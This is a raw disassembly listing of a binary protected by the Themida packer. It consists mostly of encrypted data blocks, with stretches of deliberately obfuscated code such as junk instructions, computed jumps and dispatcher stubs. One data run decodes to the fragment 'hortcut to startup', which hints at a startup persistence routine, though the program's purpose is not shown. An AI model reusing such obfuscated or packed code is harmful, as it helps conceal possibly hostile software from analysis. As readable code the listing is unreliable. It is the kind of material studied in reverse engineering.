dd 39AF57D7h, 0B893531Ah, 5E8462CFh, 57D6EC2Ch, 159CD6AFh
dd 606345EDh, 499F19F2h, 0AF588D4Fh, 2A0D4FBDh, 738F28EAh
dd 8456F5CFh, 27B1984Ah, 99991AF1h, 12DFB3ADh, 148h, 52FFD300h
dd 74198A17h, 1F33EC31h, 8D7ED55Ah, 35701D24h, 0EE2F4EF1h
dd 819A074Eh, 0FF3512A8h, 0CF7135Eh, 0C48DAB66h, 0F4554E5Fh
dd 83941950h, 40EDB615h, 6B079805h, 5E49812Eh, 84301C5Bh
dd 773E5ECFh, 941D962Ah, 9011BA05h, 61A5E889h, 49D69FBEh
dd 0CDF9B0D8h, 0A4094CE2h, 0E2462573h, 0BAF79778h, 1FF42475h
dd 1AACCA96h, 0AF58691Eh, 7ACE985h, 3D7BD416h, 0DF467D79h
dd 9A9812h, 81620000h, 4E0725E0h, 59DFC8E1h, 3459BA52h
dd 0D7782771h, 0EC8C159Ah, 0FF9E01A5h, 0F83069B6h, 7233A80Bh
dd 0A41FAC2Eh, 0DAD23B5Fh, 0FDB0D15Eh, 3D6043A9h, 0BAFE2F74h
dd 941954F5h, 89300C4Eh, 0D1D2422Eh, 0FFBAD847h, 1F1BADCBh
dd 0EDAF581Bh, 0C1DAAA9Ch, 0A58E50C0h, 5B309073h, 821CD8DAh
dd 4C3B12DFh, 0CD000000h, 4550158Bh, 4EEA784Bh, 135EFF65h
dd 0AA670CF7h, 4A63C085h, 0BB64C751h, 0AFEB1D99h, 95AF57D6h
dd 2C5CC1BAh, 0B6D7DE47h, 5B8DCFFBh, 0B67F1B18h, 0B309A1Eh
dd 8A1752FFh, 57D74540h, 7F20B7AFh, 0DFD68773h, 16612h
dd 0FFB90000h, 12931059h, 0D89DB273h, 4DE142EFh, 58FAAB08h
dd 0AC098815h, 604D7403h, 0D990B8BFh, 0E15AFA4Dh, 0E42883C5h
dd 311AB5FFh, 591033ECh, 47C362CDh, 0FFE40505h, 0F354FFB5h
dd 99921F52h, 0BDFB03A0h, 9B5FFE3h, 5BFA01A2h, 82B9412h
dd 183AA541h, 59DFC855h, 531A39EAh, 7F3655CEh, 9DD07132h
dd 7B249110h, 773895FCh, 0E0A5CA35h, 61CE6A43h, 9F3F8BC2h
dd 1477DBA3h, 1264Ah, 30BADD00h, 89B846BAh, 0BA14C999h
dd 66CC2BA3h, 0DA7ACD6Bh, 0C0034561h, 82B600B6h, 0E54A0321h
dd 0AD2FDBB4h, 714F390Fh, 0FD9F0063h, 5B8764B4h, 1E9AD778h
dd 6FBBF291h, 4BE8A1C4h, 0ADF2BBDAh, 0D9E041EAh, 7B7F3BAh
dd 1477652Bh, 5FF2h, 30BA5500h, 46AF97AFh, 0D274D57Ah
dd 2D8E199Fh, 0B6D27492h, 8C2F5872h, 0F99C07A3h, 438B78B0h
dd 2F587347h, 29763B5Ch, 159AD778h, 13812299h, 231BB35Bh
dd 7DD9B269h, 0ED4E5DC6h, 0F612B452h, 0E8AF5883h, 8B2D6407h
dd 8FC66245h, 8A100922h, 8484C66Ch, 7EAF5884h, 78FC43D5h
dd 0DF000000h, 0D80EB5E7h, 7A3351B2h, 0A55283Eh, 42FB600h
dd 2E67069Fh, 3F7A17F8h, 957FB9F2h, 0DD420B2Ah, 0B181Dh
dd 0A60F64B6h, 1B3DFC9Fh, 0E3DCCD52h, 83B0E4A7h, 17B3ACE5h
dd 0AD4E44F5h, 88153EBCh, 0F03D7417h, 0DF440D2Fh, 4DC1F903h
dd 0A883BCADh, 0D15E1B37h, 0EC6B34BFh, 65278825h, 2E58D87Ah
dd 0BCAD4DEAh, 19867FD8h, 0BD1FA800h, 0F1A6E006h, 0D3C35A91h
dd 0E7052278h, 0AED80EB5h, 0B6051AF9h, 0A47E8CBh, 70138C11h
dd 944B8D39h, 252EC2FFh, 3EE16BCDh, 1C9561Fh, 21C996D8h
dd 9CA30CF9h, 8C6AB0F9h, 4FEE0F4Ah, 0C7512DC2h, 377C3558h
dd 1885C06Eh, 6933FCD9h, 7ACE986h, 0CB868BF7h, 0FF8EE59h
dd 0F1C181F7h, 1976908h, 70B6FF9Eh, 0C1E5ACCFh, 8429619Bh
dd 0B81B21C9h, 5851DE9Bh, 0E95AC96Fh, 0Ch, 0C00AB0CCh
dd 495D321Dh, 5B40E81Ch, 8C1158FFh, 0F4397013h, 0E340092Bh
dd 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh, 60CD84A4h
dd 4AD792BFh, 66E968FAh, 4890000h, 0E1895124h, 4C181h
dd 0E9810000h, 4, 5C240C87h, 68240C89h, 68CDh, 53243C89h
dd 0A00314BBh, 31F3815Ah, 0C10EA36Eh, 434306E3h, 0EB81E3D1h
dd 0FB094EE5h, 1C8BD989h, 4C48324h, 243C8B54h, 4C481h
dd 0BA520000h, 8, 0A89FA01h, 8324148Bh, 34FF04C4h, 0C4815F24h
dd 4, 592434FFh, 0E904C483h, 0FFFB3506h, 3599186Ch, 0E276E705h
db 0F1h, 0E9h
; ---------------------------------------------------------------------------
loc_59E2D2: ; CODE XREF: sub_59DCF1:loc_59DDA7j
mov eax, 6AD4844h
add eax, ebp
jmp eax
sub_59DCF1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0E1h
dd 0FA5C38DBh, 0A92E01C6h, 8D34AC4Eh, 0C71E5019h, 0FA30D107h
dd 5F1C1ED4h, 98782CB8h, 4451F26Eh, 34300345h, 0DA66F6B1h
dd 0BA3D9C8Fh, 9C23FC3Dh, 0C83D36BBh, 8D0FFC45h, 0F04C821Ch
dd 341D1230h, 0E612923Dh, 0FD476BB3h, 7A795AD6h, 0EE20506Ah
dd 4853E689h, 6C4C420Bh, 651EAA7Dh, 0AD3BAD98h, 987BAEE5h
dd 0E22F6BB8h, 0B30676E3h, 0DE5C352Ch, 0D4D4712Ah, 1DC4B46h
dd 0D4C8557Fh, 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah
dd 333033E6h, 0FFB44E60h, 0F867A5E4h, 0A03029A6h, 3AE9A3BEh
dd 79672098h, 0C12DA3BAh, 0D71B209Bh, 33302652h, 831D2933h
dd 0C0982633h, 0BD168B6h, 0D6157635h, 0AF356F73h, 610DD963h
dd 839E8E26h, 35982664h, 1F152359h, 4B356F63h, 0E61DAB63h
dd 39E8B7Ah, 0B351B3CCh, 1493209Bh, 6AA1A23Ch, 0B0152633h
dd 9C356F63h, 4DAACE63h, 0F6D82633h, 1ACEA3BEh, 24C8209Eh
dd 79D176B6h, 0FF677635h, 33300406h, 1794E2B0h, 0E0D176B6h
dd 23157635h, 55356F73h, 1C0DD963h, 3D9E8E26h, 6A982651h
dd 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h
dd 2C97260Ch, 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h
dd 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h, 0D49BCF33h
dd 896F2633h, 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh
dd 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h
dd 9C356F0Dh, 7EBABBEh, 9320209Eh, 78000000h, 271E7FCh
dd 0C8D00731h, 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 6AD4A73h
dd 4A928D8Dh, 0CF2B06ADh, 8B05E983h, 0BCDDC2C8h, 0BCB4B962h
dd 0E797A831h, 0E03E0FF2h, 0F8362E15h, 0BCAC1115h, 0EFF48A31h
dd 40A107F2h, 0B2590A52h, 6C085ED2h, 7C3C1084h, 0BD1A83B1h
dd 14866384h, 650A9637h, 0BCB1222Fh, 1344C44h, 0BA1F8FD8h
dd 0ECAE2531h, 4772362h, 0BCB75032h, 0BB02AFB8h, 213A1399h
dd 0BA1D2B9Dh, 0E4EC96CEh, 915E1FB2h, 0C8B75799h, 4E4F826h
dd 0BCB75032h, 0BB02AFB8h, 213A1399h, 0BA1D14AAh, 0E4EC96CEh
dd 0A52A27B8h, 0BCDD5799h, 0BCB44067h, 0E2975431h, 0C83E74F2h
dd 0F8361115h, 0BCAE8E15h, 0EAF14531h, 2CCDF5F2h, 0BD90B114h
dd 14BD75B4h, 0DC77DF37h, 0B506AF30h, 0ECD61399h, 0DAEC40BAh
dd 0BB89DBDh, 0B3B30AE6h, 0BCB327B5h, 0ECB7C231h, 0BCB757D9h
dd 7FEF0A31h, 98F39C69h, 98F30B35h, 0BCB75F35h, 7FE7E231h
dd 2E465FAh, 55577123h, 0BCB75434h, 100EAF1Dh, 990A969Eh
dd 0BCB12226h, 0BCE0C13Eh, 0BCDDA231h, 0BCB4B967h, 0E297A831h
dd 0C83E0AF2h, 0F8362E15h, 0BCA31115h, 0EAF18A31h, 3DB8D2F2h
dd 0BCB7A234h, 21219D8Eh, 0B8A64136h, 0BCDD5431h, 0BCB4C264h
dd 0E1971531h, 0D03ED7F2h, 0F8364115h, 0BCA0A615h, 0E9F25131h
dd 0B1178BF2h, 0BD0A7796h, 35B18205h, 14BE04A4h, 9BB73437h
dd 0BCDD4731h, 0BCB44A60h, 0E5975131h, 0F03EF1F2h, 0F8365015h
dd 0BCA32E15h, 0EDF61531h, 313CFEF2h, 0BA1F5FE0h, 0B75A1FBAh
dd 393A5799h, 0BA1C2A82h, 3958D557h, 0BCB9C3FBh, 0CD731531h
dd 0FE75A778h, 0C9A1E832h, 0BC7B75E4h, 7C3281CEh, 0BC552C3Eh
dd 7D15431h, 84360992h, 47367366h, 0BC8F0F3Eh, 0BCDD4531h
dd 0BCB44A67h, 0E2975131h, 0C83EF6F2h, 0F8365015h, 0BCA02E15h
dd 0EAF11531h, 0F0D356F2h, 0CE0C237Ch, 453CC4E5h, 0B8CFD057h
dd 38B8AA33h, 0BCB75749h, 9AEABFB8h, 3DD11399h, 0B3D71609h
dd 0BCB7CAB4h, 0D200C231h, 0F974EE57h, 0BECF2850h, 0C1325BD9h
dd 0D6B72A31h, 0BF5F4431h, 9CB78A31h, 35EE8668h, 3DB3867Dh
dd 0A8B37575h, 0FDB7A831h, 0B79A9760h, 14BB17ACh, 0C4367337h
dd 0B31C8A37h, 0BCB70AB4h, 0ECB7C831h, 0BCB752D9h, 7FEF8831h
dd 98F3DD69h, 98F3AB35h, 0BCB70235h, 7FE7CA31h, 74C4D77Ah
dd 0BC8E3F18h, 663C5799h, 0BCB553D8h, 0EBB73E31h, 0BCB729D9h
dd 7FE83531h, 98CB036Eh, 98F3C435h, 0BCB7BA35h, 7FE01631h
dd 6F905678h, 74005B61h, 0BDB62A8Fh, 0EAB77F77h, 0BCB789D9h
dd 7FE96531h, 98C32B6Fh, 98F3D035h, 0BCB7B235h, 7FE11231h
dd 31251FA5h, 31320173h, 173539B4h, 0EBB72F37h, 0BCB7A1D9h
dd 7FE87131h, 98CB216Eh, 98F3D535h, 0BCB73D35h, 7FE05231h
dd 0FA8FFDC5h, 31BE95CEh, 0BA1FADB4h, 7030FE8Bh, 0B3772D0Eh
dd 0BCB51AB5h, 0EEB74031h, 0BCB716D9h, 7FEDAA31h, 98E3CC6Bh
dd 98F32335h, 0BCB74635h, 7FE5EA31h, 0DFCE3EA1h, 91020351h
dd 0B3B1BD31h, 0EBD67186h, 0D73BC58Bh, 8436FB7Dh, 0BEB56C57h
dd 0BC832D3Eh, 37D15431h, 0BACFABFFh, 0C6E82857h, 0BE9D0E3Eh
dd 0BCDD4531h, 0BCB44A62h, 0E7975131h, 0E03EF3F2h, 0F8365015h
dd 0BCAB2E15h, 0EFF41531h, 221E87F2h, 4023540Dh, 3DD1CCC8h
dd 0B3D7CD09h, 0BCB7F3B4h, 393A7D31h, 3CB1821Ah, 0B35F1749h
dd 0BCB7C1B4h, 0BA334A31h, 37B7A231h, 14A134A4h, 0C436CE37h
dd 0B3775437h, 0BCB719B4h, 0BC3D1A31h, 55B78A31h, 0BCB744F9h
dd 54E7A25Bh, 0BCB75132h, 0E474F011h, 0B89310B8h, 0B8936EB0h
dd 0BCB71525h, 9F74DA71h, 8D2EC8B8h, 33B8A499h, 0BCB75131h
dd 0BDB6A88Fh, 0EFB73E4Fh, 0BCB729D9h, 7FEC3531h, 98EB036Ah
dd 98F3C435h, 0BCB7BA35h, 7FE41231h, 0A3B6776Ah, 250ADF50h
dd 31B18236h, 1735A6B4h, 436F0137h, 0BCB8ACE1h, 4E08A231h
dd 1B79158Bh, 0F8EF4861h, 0AEC7A945h, 7C32D6BAh, 0BD92913Eh
dd 0BCDD8A31h, 0BCB4AD64h, 0E197A231h, 0D03E0CF2h, 0F836AC15h
dd 0BCAA5015h, 0E9F22A31h, 7CEE31F2h, 30B156EEh, 49BEECAFh
dd 0B35F9AB1h, 0BCB720B4h, 0BCBB4131h, 0DFCB5431h, 0A061B619h
dd 0F74BAB24h, 0C437DA12h, 39B83634h, 0BCB7A267h, 54E6515Bh
dd 0BCB7A832h, 0E5740D11h, 0B89366B8h, 0B89351B0h, 0BCB78A25h
dd 96741470h, 0BE7E37BAh, 0C4375799h, 38B8FB36h, 0BCB754E9h
dd 54E72A5Bh, 0BCB71532h, 0E474D211h, 0B89301B8h, 0B893E6B0h
dd 0BCB75127h, 1B74F871h, 313C4E3Fh, 0BA1F35D0h, 0AAE6A8B8h
dd 3DD18C99h, 0B3B2CA09h, 0BCB7D8B4h, 319C3131h, 0BA1FB6E0h
dd 0BACFD450h, 0D4322559h, 0D6B71531h, 0BF5FDD31h, 9CB74531h
dd 35E8616Eh, 3DB3754Dh, 0ABB38C75h, 0FBB75431h, 8976E966h
dd 0B55E890Ch, 1B78A31h, 0B5D11366h, 0F79B2C12h, 0B7CFD057h
dd 39B88DCEh, 0BCB7541Eh, 0ED5EFEBBh, 0D6B71531h, 0BF5FDD31h
dd 9CB74531h, 35E8616Eh, 3DB3754Dh, 0A6B38C75h, 0FBB75431h
dd 0DBC3E966h, 48329CEFh, 7D2A03DEh, 97B1ED02h, 779018F1h
dd 945E589Ah, 55B7A831h, 0BCB75422h, 0ACA385FCh, 0DDB87EFDh
dd 0FCF9DE35h, 0E3018099h, 7F031D5h, 0DD4B20B8h, 0BCB7A989h
dd 212A7D31h, 0ECB18228h, 6D14761h, 8DB82398h, 0DD70CE51h
dd 0B83EFA6Bh, 6C3C3715h, 0F62315BCh, 313A529Ch, 0BA1A7A06h
dd 0DAE23689h, 0A9328946h, 97B1ED24h, 0B6A88FFEh, 0B73E4FBDh
dd 0B729D9EFh, 0EC3531BCh, 0EB036A7Fh, 0F3C43598h, 0B7BA3598h
dd 0F305E983h, 816658A4h, 1112DC7h, 0A8299195h, 0FC00B06h
dd 8D84h, 0AFB58D00h, 0E906A84Fh, 0Bh, 0CBA7FF3Dh, 20220DFDh
dd 8978B580h, 0A807718Dh, 3B806h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0AB6E4DC3h
dd 0C9D30E9Eh, 0AE9h, 500FF400h, 8D1147D8h, 8045DFBFh
dd 0E6FFE3EAh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 0A1C35040h, 34E7A33Ah, 2A06D25Fh, 68F0Fh
dd 0BD890000h, 6A81DD1h, 0BE5BF781h, 6A4052D5h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 0C535C353h, 17BFC08Bh, 83195BA1h, 0A81ED9BDh, 9750006h
dd 2DE9BD83h, 740006A8h, 8B535019h, 403B8C0h, 85890000h
dd 6A80FD5h, 0A2139D8Dh, 0D3FF06AAh, 0BD83585Bh, 6A82DE9h
dd 50177400h, 403B853h, 85890000h, 6A80FD5h, 9EB49D8Dh
dd 0D3FF06AAh, 8D29585Bh, 6A81665h, 0FE9h, 3B8A6E00h, 664787CFh
dd 3EDA0068h, 282C2584h, 2B69BD09h, 0C08B06A8h, 2719529h
dd 8D8B06A8h, 6A82BD5h, 7E861h, 5C160000h, 1A05167Dh, 0E7C0803Bh
dd 0BF0F605Eh, 1B501D0h, 6106A835h, 6905C681h, 10E90000h
dd 5D000000h, 4538CC6Fh, 77062954h, 1012BF2Ah, 0B911D81Ah
dd 0
; ---------------------------------------------------------------------------
mov edx, [ebp+6A81D89h]
loc_59EBE2: ; CODE XREF: Themida_:0059EC75j
mov ebx, [esi+ecx]
push edx
jmp loc_59EBFE
; ---------------------------------------------------------------------------
db 73h
dd 9B0D4CA4h, 0CDCA8B7Dh, 68BBA603h, 0BE820E1Fh
; ---------------------------------------------------------------------------
mov bl, 8Dh
loc_59EBFE: ; CODE XREF: Themida_:0059EBE6j
pop eax
xor ebx, 64168588h
mov [ebp+6A80DB1h], esi
xor ebx, 60954392h
jmp loc_59EC25
; ---------------------------------------------------------------------------
dw 8519h
dd 0A880FDC4h, 0DEF8FC05h, 0E7183AD4h
db 0D3h
; ---------------------------------------------------------------------------
loc_59EC25: ; CODE XREF: Themida_:0059EC11j
sub ebx, 293BCD62h
mov ax, 7196h
push ebx
mov dl, cl
pop dword ptr [esi+ecx]
mov edi, [ebp+6A82811h]
movsx edi, si
sub ecx, 4
mov [ebp+6A83139h], ebx
cmp ecx, 0FFFF97D4h
jnz loc_59EC6F
mov [ebp+6A80FC1h], eax
jmp loc_59EC83
; ---------------------------------------------------------------------------
dw 7F14h
dd 0EF949A27h, 1996CB4Ah, 0A2F54A19h
; ---------------------------------------------------------------------------
inc edi
sbb ebx, ecx
loc_59EC6F: ; CODE XREF: Themida_:0059EC4Dj
mov edx, [ebp+6A830B5h]
jmp loc_59EBE2
; ---------------------------------------------------------------------------
dw 8109h
dd 0BA000833h
db 0EAh, 0AAh, 83h
; ---------------------------------------------------------------------------
loc_59EC83: ; CODE XREF: Themida_:0059EC59j
call sub_59EC99
sub al, 71h
sal dword ptr [ebx-5Fh], 0A9h
ficomp dword ptr [ebp+30007A0h]
jmp short near ptr loc_59ECCE+2
; ---------------------------------------------------------------------------
cmc
adc bl, [esi]
; =============== S U B R O U T I N E =======================================
sub_59EC99 proc near ; CODE XREF: Themida_:loc_59EC83p
call near ptr loc_59ECA3+1
adc [edi], edx
repne inc edx
push ebx
loc_59ECA3: ; CODE XREF: sub_59EC99p
mov word ptr [ecx+5Fh], ds
sub_59EC99 endp ; sp-analysis failed
mov [ebp+6A82DADh], esi
add edi, 631Fh
adc cx, 0CA47h
mov eax, 4D5C92E0h
add eax, 0B2A385A9h
pusha
mov esi, [ebp+6A80E3Dh]
mov bh, 71h
popa
; START OF FUNCTION CHUNK FOR sub_59ECE0
loc_59ECCC: ; CODE XREF: sub_59ECE0+90j
push dword ptr [edi]
loc_59ECCE: ; CODE XREF: Themida_:0059EC94j
call sub_59ECE0
fiadd dword ptr [esi-76242E70h]
pop eax
cmpsd
mov ch, [edx]
push esp
; END OF FUNCTION CHUNK FOR sub_59ECE0
; ---------------------------------------------------------------------------
dw 0E2C4h
; =============== S U B R O U T I N E =======================================
sub_59ECE0 proc near ; CODE XREF: sub_59ECE0:loc_59ECCEp
var_78 = byte ptr -78h
; FUNCTION CHUNK AT 0059ECCC SIZE 00000012 BYTES
mov [ebp+6A8219Dh], ebx
pop edx
pop esi
jmp loc_59ECF3
; ---------------------------------------------------------------------------
db 23h, 76h, 36h
db 7Bh, 33h, 0EAh
; ---------------------------------------------------------------------------
loc_59ECF3: ; CODE XREF: sub_59ECE0+8j
sub esi, 50FD1528h
add ebx, [ebp+6A801DDh]
add esi, 73418E3Fh
add ecx, 691ECC16h
sub esi, 0F6B64F2h
mov ecx, [ebp+6A82C79h]
push esi
jmp loc_59ED2B
; ---------------------------------------------------------------------------
mov ch, 0C7h
mov edx, 8D62A347h
adc al, dh
and [esp+edi*8-77h], al
loc_59ED2B: ; CODE XREF: sub_59ECE0+38j
pop dword ptr [edi]
mov edx, [ebp+6A8346Dh]
sub edi, 4
xor bl, 0
dec eax
jnz loc_59ED65
jmp loc_59ED4D
; ---------------------------------------------------------------------------
db 7Bh, 4Eh, 7Dh
dd 0E1332880h
; ---------------------------------------------------------------------------
push edx
loc_59ED4D: ; CODE XREF: sub_59ECE0+60j
jmp loc_59ED87
; ---------------------------------------------------------------------------
dw 0AD75h
; ---------------------------------------------------------------------------
test al, 8
call fword ptr [eax+4Dh]
push 74BEDD31h
mov edi, 153A0B7Ch
sub al, 0B8h
loc_59ED65: ; CODE XREF: sub_59ECE0+5Aj
pusha
movsx ecx, si
mov [ebp+6A8227Dh], eax
popa
jmp loc_59ECCC
; ---------------------------------------------------------------------------
db 87h, 5, 31h
dd 0FC81C8F0h, 8FA8654h, 0ED431B41h
db 2Eh, 0F3h, 5Ah
; ---------------------------------------------------------------------------
loc_59ED87: ; CODE XREF: sub_59ECE0:loc_59ED4Dj
lea ecx, [ebp+6AD545Dh]
mov bh, 3Dh
mov [ebp+6A805B9h], ecx
push 0
push edx
call sub_59EDA0
and [edx-3Dh], bl
sub_59ECE0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_59EDA0 proc near ; CODE XREF: sub_59ECE0+B8p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_59EDA0 endp
; ---------------------------------------------------------------------------
dd 0E745DDEEh, 2CBBFA36h, 0C77B0D06h, 0A8146985h, 58C006h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 8953158Bh, 0A7D01BE0h, 0BD85C772h, 6A80Bh
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 1558C357h, 0ED3DCC42h, 958BEEB8h
dd 6A80BEDh, 0B5FFD08Bh, 6A80E01h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 58C35141h, 4D7893E7h, 8B90EA08h
dd 0A813FDB5h, 0DD95FF06h, 0F06A820h, 8E9F2B7h, 9E000000h
dd 7372B7E6h, 6AD14C28h, 3195FF00h, 8B06A81Bh, 0A549EBC0h
dd 0DE245E66h, 8D7F128h, 0FDB109B4h, 30B62CEBh, 786264CAh
dd 2BC98462h, 478D294Dh, 71A6698Ch, 284E6C3Bh, 0B84F44C1h
dd 983E8620h, 61455FDDh, 0A8371362h, 0E1DF7B52h, 0C7748646h
dd 8E0F727Bh, 58952760h, 96C05AE3h, 17FD9D8Dh, 2AB806A8h
dd 89000000h, 0A8255585h, 0E806h, 5580000h, 0Dh, 2AE90389h
dd 0
dd 9 dup(77E600h), 0FF77E600h, 0EE8FFh, 56D80000h, 0F9F5891h
dd 313D4855h, 72202418h, 68A0Fh, 0C2810000h, 6749F8ADh
dd 8E858h, 732A0000h, 0A962A740h, 880FBDC5h, 13h, 0DE8h
dd 9D451300h, 38B54071h, 0C2F6F9B4h, 5A59BEFDh, 5CC2C081h
dd 0AFB90000h, 683FD5F4h, 1705h, 0FA54BF66h, 0C981665Bh
dd 308B566Dh, 81CA8B66h, 0C987C5C6h, 0C681F86Dh, 63ABB7DFh
dd 1E830Fh, 12E80000h, 1F000000h, 543B39FDh, 0A079E9F7h
dd 0D1423883h, 65F51FB5h, 6CE9819Ch, 5A3A1261h, 3D4BF681h
dd 20BF32E8h, 894F2A5Eh, 1E88330h, 137CB966h, 83484848h
dd 850F01EBh, 0FFFFFFAAh, 7BE9h, 1DD8B500h, 6F685353h
dd 75637472h, 6F742074h, 61747320h, 70757472h, 19h dup(0)
; ---------------------------------------------------------------------------
jmp loc_59FE43
; ---------------------------------------------------------------------------
push 6AD57C2h
jmp loc_55E058
; ---------------------------------------------------------------------------
push 6AD58ABh
jmp loc_55E058
; ---------------------------------------------------------------------------
push 6AD5A73h
jmp loc_55E058
; ---------------------------------------------------------------------------
push 6AD5AB9h
jmp loc_55E058
; ---------------------------------------------------------------------------
push 6AD5B7Ah
jmp loc_55E058
; ---------------------------------------------------------------------------
push 6AD5BE5h
jmp loc_55E058
; ---------------------------------------------------------------------------
push 6AD5F72h
jmp loc_55E058
; ---------------------------------------------------------------------------
push 6AD6214h
jmp loc_55E058
; ---------------------------------------------------------------------------
push 6AD6300h
jmp loc_55E058
; ---------------------------------------------------------------------------
db 5Ch
dd 0C5B9DA20h, 72406593h, 0F6C4E915h, 6056778Bh, 3AE18278h
dd 0EA104832h, 718FF5C9h, 0FB0F7E4Ch, 7F3E4DAh, 0F9195E66h
dd 580CA85Dh, 0D2A09F18h, 4BD94DB9h, 0C4C7E410h, 46A8591Bh
dd 5BF9F373h, 8F31E53Ch, 0A7F61F63h, 0DA15701h, 683ACEBFh
dd 82ABE47Ch, 896728E8h, 561EF46Fh, 3A7Fh, 649FC000h, 10DBA268h
dd 0A92CEF7Dh, 9DFD0240h, 5BF96D1Ch, 0D32CFE21h, 0CA58ACDFh
dd 0D67AA467h, 6CA7F99Fh, 0EB0DE3ACh, 0FB561F6Fh, 766186F7h
dd 2E732382h, 0D29A6Fh, 0D2A70000h, 4BD94DB9h, 0E331E51Fh
dd 8A7E6F88h, 0B5D5162Bh, 5EA1FE19h, 58A2DE54h, 0A65205F9h
dd 60F2B5F4h, 284DB9D2h, 0A1F9D536h, 2ADE895Eh, 0D7A7889h
dd 0EB9C2EF1h, 7E748F1Fh, 0B83FFE00h, 8B23435Fh, 0E9A15E05h
dd 18990DF3h, 86BB1A85h, 6067964h, 215A58A4h, 48D5FBB1h
dd 2988EA5Bh, 57D62255h, 713459C8h, 72B9AE88h, 7B63880Eh
dd 47076798h, 52A2AF79h, 38A02ED3h, 0CBB13DC2h, 0E57FAE51h
dd 0D2B57C5Ah, 3D5EE140h, 0BEB1149h, 3F8F0705h, 0D4AC21B3h
dd 1000000Bh, 81F5966Ch, 0E7C21D7h, 0BA08AD51h, 3C9233CFh
dd 7E1DBE44h, 0A65C04F6h, 35CBB105h, 0BF4B2290h, 0CB3FA81Eh
dd 35559AAAh, 580CA999h, 0D2645BD4h, 5B2F4CB6h, 60B7D420h
dd 8C78139Fh, 0BE2B9B1Eh, 0CE51D042h, 53ECAE4Bh, 180D4F28h
dd 0BE01D0B2h, 0F7982141h, 7AA55BF9h, 19DA76A8h, 0D060A7F6h
dd 0F5F711FFh, 0BDE7561Eh, 0A6000000h, 0D5C3625Fh, 6928F8FFh
dd 3C5E9F76h, 5EA1FE90h, 0B16C96F2h, 6C1FAF6Eh, 0CCB40A98h
dd 0A6C80936h, 5EA1FE0Eh, 7D6AD84Bh, 72AC3E81h, 5EA1F991h
dd 2DD9B200h, 48AFD86Ah, 0FA3FEF13h, 53047A1Bh, 6996F7A7h
dd 0E9F4162Bh, 0CAA40606h, 96733A5Bh, 3CCB2BD4h, 81A2AF80h
dd 0F5EDE11Eh, 0AB853151h, 51D0AC0Ch, 255D51EEh, 2BEA4FDFh
dd 0F60C744Ah, 8EF70C14h, 0D538AA3Fh, 0AEBh, 0DEFF0579h
dd 6B08FEE8h, 0F7946817h, 791AE683h, 6A75D05h, 736F0F67h
dd 0E896E489h, 54017516h, 0DC8F03A0h, 36798B28h, 0CA6B8D4h
dd 85BCF558h, 3B28B6D2h, 47258C49h, 348A2B8Ah, 316B743h
dd 8A76139Fh, 0A4169918h, 0AE70A333h, 23A9E3FBh, 79D8BB45h
dd 906417A5h, 0AADCD2F3h, 0B15EDD5Ch, 810D4EF3h, 0BC6225DBh
dd 5BF9A4F5h, 0DB767BEh, 0A7F9A4E5h, 7022D687h, 3CAA4522h
dd 0AEB363C2h, 0F298B11Eh, 799F715Eh, 65561F69h, 14h, 7A6EDCAh
dd 0ABEC0000h, 0A1FE234Bh, 47376E5Eh, 3120E315h, 3BADFCE5h
dd 9CCB59CDh, 8C6FB260h, 0B7F2142Dh, 785BF9D1h, 0B4277529h
dd 3CAF2340h, 22A85AC8h, 0FA84B22Ch, 6C1F256Ah, 706B6798h
dd 5F600584h, 0CFAE4224h, 0B2A207AFh, 14D352CCh, 6E31E6C2h
dd 0CF5FABDCh, 39CDBE34h, 309A876h, 7265CCB2h, 0D5861486h
dd 0C9998D21h, 85DEEFC6h, 0FAA85C09h, 0B84F4B7h, 8DB24631h
dd 3822A4Ch, 0ACFCCB2h, 0B2034CE8h, 379609CCh, 0C8A31774h
dd 61B46E3Ch, 0AE875869h, 9C681D91h, 1E246B1Dh, 86F4996Dh
dd 88D21D5h, 7294ADEFh, 0C9EA1C97h, 0BA1DA58h, 0CA2E43EBh
dd 34970ED5h, 830F3055h, 0FA9918E4h, 0BBF9E680h, 13494586h
dd 9F42AEDh, 0EAD0923Ah, 0E97F86BBh, 5CD85AD9h, 5F8F682Bh
dd 0B071C340h, 31CE8C75h, 0B02BC4BDh, 6411E544h, 1C9F0290h
dd 7EDA83E3h, 4CD7FD48h, 0D0927FDEh, 913FD42Fh, 0BA117A88h
dd 0E65437C3h, 7E8302F4h, 6DC9B13Dh, 0ABF4E10Dh, 9275ACFEh
dd 2D52CF13h, 0C45FFBFDh, 30C4B73Bh, 0B84C3F93h, 7D02F8DAh
dd 18C1E54h, 923h, 0A6C73DA1h, 3350A6D0h, 0BFDC205Fh, 41629ECBh
dd 0CEEF154Dh, 2B57472Fh, 0A0DEACD1h, 1C493D5Eh, 84F7CBE8h
dd 0EE315370h, 0CA4608Ch, 0CDE42D58h, 8874139Fh, 0A614971Ah
dd 795DC135h, 8FCD23A2h, 8DDB01Dh, 7B6B0000h, 0FCEEDC81h
dd 6E15690Ah, 0E49DF192h, 5B077B18h, 1559FCA1h, 0E6877D65h
dd 7714EA90h, 0FD9E6A03h, 892ADE89h, 0BAD2347Bh, 0F7580CA4h
dd 139F87BAh, 9D1C8E7Ah, 0FEEA0264h, 7CA75EA1h, 0AA5E09BDh
dd 9A325495h, 0D75EA1FEh, 8659CD4Ch, 0CDBB5E08h, 7DD15033h
